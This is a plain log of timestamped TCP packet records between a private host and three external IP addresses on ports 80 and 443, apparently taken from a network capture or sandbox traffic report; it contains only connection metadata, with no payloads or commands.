Dec 19, 2023 03:22:27.503281116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503303051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503304005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503333092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503345966 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503365040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503369093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503408909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503422976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503436089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503473043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503494024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503494024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503494978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503535032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503535986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503535032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503551006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503566980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503604889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503604889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503604889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503627062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503681898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503734112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503745079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503757000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503796101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503808022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503815889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503824949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503828049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503838062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503870964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503870964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503890038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.503914118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503926039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503936052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.503951073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.504010916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.504010916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.593080997 CET	49741	80	192.168.2.4	172.67.174.181
Dec 19, 2023 03:22:27.722122908 CET	80	49741	172.67.174.181	192.168.2.4
Dec 19, 2023 03:22:27.722198009 CET	49741	80	192.168.2.4	172.67.174.181
Dec 19, 2023 03:22:27.723228931 CET	49741	80	192.168.2.4	172.67.174.181
Dec 19, 2023 03:22:27.723257065 CET	49741	80	192.168.2.4	172.67.174.181
Dec 19, 2023 03:22:27.729203939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.729370117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.729453087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.729476929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.729526997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.729604959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.729661942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.729667902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.729723930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.729850054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.729908943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.729962111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.730016947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730106115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730154991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.730232954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730272055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.730295897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730408907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730489016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730503082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.730601072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730664015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.730668068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730767012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.730784893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.731014967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.731061935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.731112957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.732738018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.847758055 CET	80	49741	172.67.174.181	192.168.2.4
Dec 19, 2023 03:22:27.847831011 CET	80	49741	172.67.174.181	192.168.2.4
Dec 19, 2023 03:22:27.977191925 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.977257967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.246335983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.264921904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.294442892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.294442892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.389765978 CET	49742	443	192.168.2.4	62.141.38.69
Dec 19, 2023 03:22:28.389795065 CET	443	49742	62.141.38.69	192.168.2.4
Dec 19, 2023 03:22:28.389864922 CET	49742	443	192.168.2.4	62.141.38.69
Dec 19, 2023 03:22:28.398432016 CET	49742	443	192.168.2.4	62.141.38.69
Dec 19, 2023 03:22:28.398447037 CET	443	49742	62.141.38.69	192.168.2.4
Dec 19, 2023 03:22:28.563272953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.583781958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.583864927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.583941936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.584114075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584340096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584414959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584458113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584482908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.584557056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584615946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.584670067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584798098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584845066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.584852934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584918976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.584940910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.585010052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585076094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585153103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585169077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.585226059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.585288048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585381031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585442066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.585489988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585589886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585649014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.585654974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585733891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585789919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585874081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585892916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.585927010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.585988045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.586031914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.586088896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.586132050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.586291075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.586345911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.586383104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.586481094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.586536884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.586610079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.586769104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.587268114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.587496042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.588021040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.588218927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.588318110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.588366985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.588452101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.588555098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.588577032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.588629961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.588639975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.588706017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.588748932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.588820934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.588964939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.589046001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.589061022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.589148045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.589236021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.589349985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.589608908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.589736938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.589754105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.589793921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.589793921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.589864016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.589946985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590084076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590143919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.590162039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590256929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590339899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590352058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.590408087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.590451956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590534925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590583086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.590631008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590742111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590806007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.590861082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.590958118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591106892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591161013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.591204882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591272116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591335058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.591365099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591428995 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.591495037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591626883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591686010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.591753960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591794968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591841936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.591903925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.591991901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592094898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592143059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.592169046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592259884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592331886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.592360973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592458010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592518091 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.592545986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592587948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.592606068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592669010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592716932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.592752934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592842102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592927933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.592998028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.593019962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593079090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593123913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.593183994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593231916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.593262911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593374968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593431950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.593465090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593544006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593600035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.593643904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593715906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593802929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.593933105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594001055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.594017982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594085932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594085932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.594182014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.594188929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594300985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594388008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594408989 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.594538927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594621897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594652891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.594711065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594876051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.594939947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.595226049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.595320940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.595366955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.595393896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.595458031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.595473051 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.595540047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.595592976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.595664024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.595746040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.595797062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.595849037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.595935106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596015930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596097946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596137047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.596169949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596260071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596265078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.596333981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596353054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.596424103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596473932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.596503973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596611977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596656084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.596848011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.596930981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597038984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597106934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597196102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597202063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.597270012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597274065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.597321987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.597366095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597409964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597485065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.597532034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597620964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597704887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.597747087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597810030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597924948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.597980022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.598028898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598146915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598237991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.598258972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598320961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598340988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.598419905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598485947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598504066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.598625898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598721981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.598769903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598836899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598927975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598994017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.598995924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.599113941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599191904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.599200010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599234104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599324942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.599347115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599428892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599447012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.599499941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599592924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.599594116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599672079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599735975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599834919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599841118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.599899054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.599953890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.599977016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600023985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.600235939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600339890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600385904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.600390911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600519896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600605965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.600625038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600703955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600750923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.600802898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600863934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.600940943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601013899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.601032019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601113081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601155043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.601203918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601246119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.601264000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601360083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601419926 CET	49738	80	192.168.2.4	91.215.85.17
